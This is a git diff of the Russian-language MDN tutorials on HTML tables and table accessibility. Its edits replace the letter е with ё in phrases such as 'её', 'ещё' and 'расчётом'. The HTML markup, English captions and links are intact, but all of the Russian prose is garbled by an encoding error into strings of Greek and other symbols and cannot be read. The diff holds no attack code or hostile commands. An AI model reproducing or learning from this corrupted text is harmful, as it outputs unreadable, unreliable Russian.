ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎ ΠΎ <a href="https://wiki.developer.mozilla.org/ru/docs/Learn/CSS/Building_blocks/Styling_tables">стилизации Ρ‚Π°Π±Π»ΠΈΡ†</a>).</p>
</div>
<p>Π’Π°ΡˆΠ° готовая Ρ‚Π°Π±Π»ΠΈΡ†Π° Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:</p>
@@ -284,7 +284,7 @@ tfoot {
<h2 id="Π’Π°Π±Π»ΠΈΡ†Ρ‹_для_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ_с_ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ_возмоТностями">Π’Π°Π±Π»ΠΈΡ†Ρ‹ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉΒ Ρ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ возмоТностями</h2>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΊΡ€Π°Ρ‚ΠΊΠΎ опишСм ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΄Π°Π½Π½Ρ‹Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹. Π’Π°Π±Π»ΠΈΡ†Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΌ инструмСнтом, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ быстрый доступ ΠΊ Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈ позволяСт ΠΈΡΠΊΠ°Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ значСния. НапримСр, быстрого взгляда Π½Π° Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ Π½ΠΈΠΆΠ΅ достаточно, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ сколько ΠΊΠΎΠ»Π΅Ρ† Π±Ρ‹Π»ΠΎ ΠΏΡ€ΠΎΠ΄Π°Π½ΠΎ Π² АмстСрдамС Π² августС 2016. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ эту ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΠΌΡ‹ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΠΌ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ ассоциации ΠΌΠ΅ΠΆΠ΄Ρƒ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Π² этой Ρ‚Π°Π±Π»ΠΈΡ†Π΅ ΠΈ Π΅Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌΠΈΒ ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊΒ ΠΈ/ΠΈΠ»ΠΈ строк.</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΊΡ€Π°Ρ‚ΠΊΠΎ опишСм ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΄Π°Π½Π½Ρ‹Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹. Π’Π°Π±Π»ΠΈΡ†Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΌ инструмСнтом, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ быстрый доступ ΠΊ Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈ позволяСт ΠΈΡΠΊΠ°Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ значСния. НапримСр, быстрого взгляда Π½Π° Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ Π½ΠΈΠΆΠ΅ достаточно, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ сколько ΠΊΠΎΠ»Π΅Ρ† Π±Ρ‹Π»ΠΎ ΠΏΡ€ΠΎΠ΄Π°Π½ΠΎ Π² АмстСрдамС Π² августС 2016. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ эту ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΠΌΡ‹ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΠΌ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ ассоциации ΠΌΠ΅ΠΆΠ΄Ρƒ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Π² этой Ρ‚Π°Π±Π»ΠΈΡ†Π΅ ΠΈ Π΅Ρ‘ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌΠΈΒ ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊΒ ΠΈ/ΠΈΠ»ΠΈ строк.</p>
<table>
<caption>Items Sold August 2016</caption>
@@ -373,7 +373,7 @@ tfoot {
&lt;/tr&gt;
&lt;/thead&gt;</pre>
-<p>И Ρƒ каТдой строки моТСт Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Β Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, ΠΊΠ°ΠΊ здСсь (Ссли ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ строк ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ столбцов):</p>
+<p>И Ρƒ каТдой строки моТСт Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Β Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, ΠΊΠ°ΠΊ здСсь (Ссли ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ строк ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ столбцов):</p>
<pre class="brush: html notranslate">&lt;tr&gt;
&lt;th scope="row"&gt;Haircut&lt;/th&gt;
@@ -385,7 +385,7 @@ tfoot {
<p>Π‘ΠΊΡ€ΠΈΠ½Ρ€ΠΈΠ΄Π΅Ρ€ распознаСт Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ ΡΡ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ вСсь столбСц ΠΈΠ»ΠΈ строку Ρ†Π΅Π»ΠΈΠΊΠΎΠΌ.</p>
-<p>Атрибут <code>scope</code>Β ΠΈΠΌΠ΅Π΅Ρ‚ Π΅Ρ‰Π΅ Π΄Π²Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… значСния — <code>colgroup</code>Β ΠΈΒ <code>rowgroup</code>. Они ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π²Π²Π΅Ρ€Ρ…Ρƒ Π²Π°ΡˆΠΈΡ… столбцов ΠΈΠ»ΠΈ строк. Если Π²Ρ‹ посмотритС Π½Π° Ρ‚Π°Π±Π»ΠΈΡ†ΡƒΒ "Items sold..."Β Π² Π½Π°Ρ‡Π°Π»Π΅ этого Ρ€Π°Π·Π΄Π΅Π»Π° ΡΡ‚Π°Ρ‚ΡŒΠΈ, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ‡Ρ‚ΠΎ ячСйка с "Clothes" находится Π½Π°Π΄ ячСйками "Trousers", "Skirts" ΠΈΒ "Dresses". ВсС эти ячСйки Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‡Π΅Π½Ρ‹ ΠΊΠ°ΠΊ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ (<code>&lt;th&gt;</code>), Π½ΠΎ "Clothes"Β  Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ находится свСрху ΠΈ опрСдСляСт ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ Ρ‚Ρ€ΠΈ ΠΏΠΎΠ΄Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ "Clothes" Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>scope="colgroup"</code>, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>scope="col"</code>.</p>
+<p>Атрибут <code>scope</code>Β ΠΈΠΌΠ΅Π΅Ρ‚ Π΅Ρ‰Ρ‘ Π΄Π²Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… значСния — <code>colgroup</code>Β ΠΈΒ <code>rowgroup</code>. Они ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π²Π²Π΅Ρ€Ρ…Ρƒ Π²Π°ΡˆΠΈΡ… столбцов ΠΈΠ»ΠΈ строк. Если Π²Ρ‹ посмотритС Π½Π° Ρ‚Π°Π±Π»ΠΈΡ†ΡƒΒ "Items sold..."Β Π² Π½Π°Ρ‡Π°Π»Π΅ этого Ρ€Π°Π·Π΄Π΅Π»Π° ΡΡ‚Π°Ρ‚ΡŒΠΈ, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ‡Ρ‚ΠΎ ячСйка с "Clothes" находится Π½Π°Π΄ ячСйками "Trousers", "Skirts" ΠΈΒ "Dresses". ВсС эти ячСйки Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‡Π΅Π½Ρ‹ ΠΊΠ°ΠΊ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ (<code>&lt;th&gt;</code>), Π½ΠΎ "Clothes"Β  Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ находится свСрху ΠΈ опрСдСляСт ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ Ρ‚Ρ€ΠΈ ΠΏΠΎΠ΄Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ "Clothes" Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>scope="colgroup"</code>, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>scope="col"</code>.</p>
<h3 class="attTitle" id="Атрибуты_id_ΠΈ_headers">Атрибуты id ΠΈΒ headers</h3>
@@ -393,12 +393,12 @@ tfoot {
<ol>
<li>Π’Ρ‹ устанавливаСтС ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉΒ <code>id</code> для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ<code>&lt;th&gt;</code> элСмСнта.</li>
- <li>Π’Ρ‹ устанавливаСтС Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>headers</code> для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎΒ <code>&lt;td&gt;</code> элСмСнта. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉΒ <code>headers</code>Β Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ список всСх <code>id</code>Β , Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉΒ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ, ΠΊΠΎ всСм <code>&lt;th&gt;</code> элСмСнтам ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚ ΠΊΠ°ΠΊ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ для этой ячСйки.</li>
+ <li>Π’Ρ‹ устанавливаСтС Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>headers</code> для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎΒ <code>&lt;td&gt;</code> элСмСнта. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉΒ <code>headers</code>Β Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ список всСх <code>id</code>Β , Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉΒ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ, ΠΊΠΎ всСм <code>&lt;th&gt;</code> элСмСнтам ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚ ΠΊΠ°ΠΊ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ для этой ячСйки.</li>
</ol>
<p>Π­Ρ‚ΠΎ обСспСчиваСт явноС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ячСйки вашСй HTML Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, опрСдСляСт Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ столбцов ΠΈ строк Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹. Для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ это Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΎ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΎ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ столбцов, ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ строк.</p>
-<p>ВСрнСмся ΠΊ Π½Π°ΡˆΠ΅ΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ с расчСтом Π·Π°Ρ‚Ρ€Π°Ρ‚, Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΏΠΈΡΠ°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>ВСрнёмся ΠΊ Π½Π°ΡˆΠ΅ΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ с расчётом Π·Π°Ρ‚Ρ€Π°Ρ‚, Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΏΠΈΡΠ°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre class="brush: html notranslate">&lt;thead&gt;
&lt;tr&gt;
@@ -440,7 +440,7 @@ tfoot {
<h2 id="Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅">Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅</h2>
-<p>Π•ΡΡ‚ΡŒ Π΅Ρ‰Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π΅Ρ‰ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΎ HTML Ρ‚Π°Π±Π»ΠΈΡ†Π°Ρ…, Π½ΠΎ ΠΌΡ‹ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π΄Π°Π»ΠΈ всС Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ Π½Π° настоящий ΠΌΠΎΠΌΠ΅Π½Ρ‚. Π”Π°Π»ΡŒΡˆΠ΅ Π²Ρ‹ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ большС ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΎ стилизации HTML Ρ‚Π°Π±Π»ΠΈΡ†, посмотритС <a href="/en-US/docs/Learn/CSS/Styling_boxes/Styling_tables">Styling Tables</a>.</p>
+<p>Π•ΡΡ‚ΡŒ Π΅Ρ‰Ρ‘ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π΅Ρ‰ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΎ HTML Ρ‚Π°Π±Π»ΠΈΡ†Π°Ρ…, Π½ΠΎ ΠΌΡ‹ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π΄Π°Π»ΠΈ всС Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ Π½Π° настоящий ΠΌΠΎΠΌΠ΅Π½Ρ‚. Π”Π°Π»ΡŒΡˆΠ΅ Π²Ρ‹ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ большС ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΎ стилизации HTML Ρ‚Π°Π±Π»ΠΈΡ†, посмотритС <a href="/en-US/docs/Learn/CSS/Styling_boxes/Styling_tables">Styling Tables</a>.</p>
<div>{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}</div>
diff --git a/files/ru/learn/html/tables/basics/index.html b/files/ru/learn/html/tables/basics/index.html
index 15f766186a..08a1767593 100644
--- a/files/ru/learn/html/tables/basics/index.html
+++ b/files/ru/learn/html/tables/basics/index.html
@@ -30,7 +30,7 @@ translation_of: Learn/HTML/Tables/Basics
<p><img alt="A swimming timetable showing a sample data table" src="https://mdn.mozillademos.org/files/14587/swimming-timetable.png" style="display: block; height: 301px; margin: 0px auto; width: 794px;"></p>
-<p>Π›ΡŽΠ΄ΠΈ постоянно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ ΡƒΠΆΠ΅ Π΄Π°Π²Π½ΠΎ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΏΠΎ пСрСписи Π² БША, относящийся ΠΊ 1800 Π³ΠΎΠ΄Ρƒ:</p>
+<p>Π›ΡŽΠ΄ΠΈ постоянно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ ΡƒΠΆΠ΅ Π΄Π°Π²Π½ΠΎ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΏΠΎ пСрСписи Π² БША, относящийся ΠΊ 1800 Π³ΠΎΠ΄Ρƒ:</p>
<p><img alt="A very old parchment document; the data is not easily readable, but it clearly shows a data table being used." src="https://mdn.mozillademos.org/files/14585/1800-census.jpg" style="display: block; height: 505px; margin: 0px auto; width: 800px;"></p>
@@ -38,7 +38,7 @@ translation_of: Learn/HTML/Tables/Basics
<h3 id="Как_Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚_Ρ‚Π°Π±Π»ΠΈΡ†Π°">Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚Π°Π±Π»ΠΈΡ†Π°?</h3>
-<p>Бмысл Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½Π° ТСсткая. Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π»Π΅Π³ΠΊΠΎ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ сопоставляя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ строк ΠΈ столбцов. НапримСр, посмотритС Π½Π° ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΡƒΡŽ Π½ΠΈΠΆΠ΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ ΠΈ Π½Π°ΠΉΠ΄ΠΈΡ‚Π΅ СдинствСнноС Π»ΠΈΡ‡Π½ΠΎΠ΅ мСстоимСниС, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ΅ Π² Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΌ Π»ΠΈΡ†Π΅ , с ΠΏΠΎΠ»ΠΎΠΌ ♀, Π²Ρ‹ΡΡ‚ΡƒΠΏΠ°ΡŽΡ‰Π΅Π΅ Π² качСствС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π² ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠΈ. ΠžΡ‚Π²Π΅Ρ‚ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ, сопоставив ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ столбцов ΠΈ строк.</p>
+<p>Бмысл Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½Π° Тёсткая. Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π»Π΅Π³ΠΊΠΎ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ сопоставляя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ строк ΠΈ столбцов. НапримСр, посмотритС Π½Π° ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΡƒΡŽ Π½ΠΈΠΆΠ΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ ΠΈ Π½Π°ΠΉΠ΄ΠΈΡ‚Π΅ СдинствСнноС Π»ΠΈΡ‡Π½ΠΎΠ΅ мСстоимСниС, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ΅ Π² Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΌ Π»ΠΈΡ†Π΅ , с ΠΏΠΎΠ»ΠΎΠΌ ♀, Π²Ρ‹ΡΡ‚ΡƒΠΏΠ°ΡŽΡ‰Π΅Π΅ Π² качСствС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π² ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠΈ. ΠžΡ‚Π²Π΅Ρ‚ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ, сопоставив ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ столбцов ΠΈ строк.</p>
<table>
<caption>Personal pronouns</caption>
@@ -68,7 +68,7 @@ translation_of: Learn/HTML/Tables/Basics
<tr>
<th class="symbol" scope="row">♀</th>
<td>ΠΎΠ½Π°</td>
- <td>Π΅Π΅</td>
+ <td>Π΅Ρ‘</td>
</tr>
<tr>
<th class="symbol" scope="row">o</th>
@@ -94,18 +94,18 @@ translation_of: Learn/HTML/Tables/Basics
</tbody>
</table>
-<p>Если ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ HTML, ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π΅ Π΄Π°Π½Π½Ρ‹Π΅ смогут Π΄Π°ΠΆΠ΅ люди, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ со Π·Ρ€Π΅Π½ΠΈΠ΅ΠΌ.</p>
+<p>Если ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ HTML, ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‘ Π΄Π°Π½Π½Ρ‹Π΅ смогут Π΄Π°ΠΆΠ΅ люди, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ со Π·Ρ€Π΅Π½ΠΈΠ΅ΠΌ.</p>
<h3 id="ΠžΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΠ΅_Ρ‚Π°Π±Π»ΠΈΡ†">ΠžΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΠ΅ Ρ‚Π°Π±Π»ΠΈΡ†</h3>
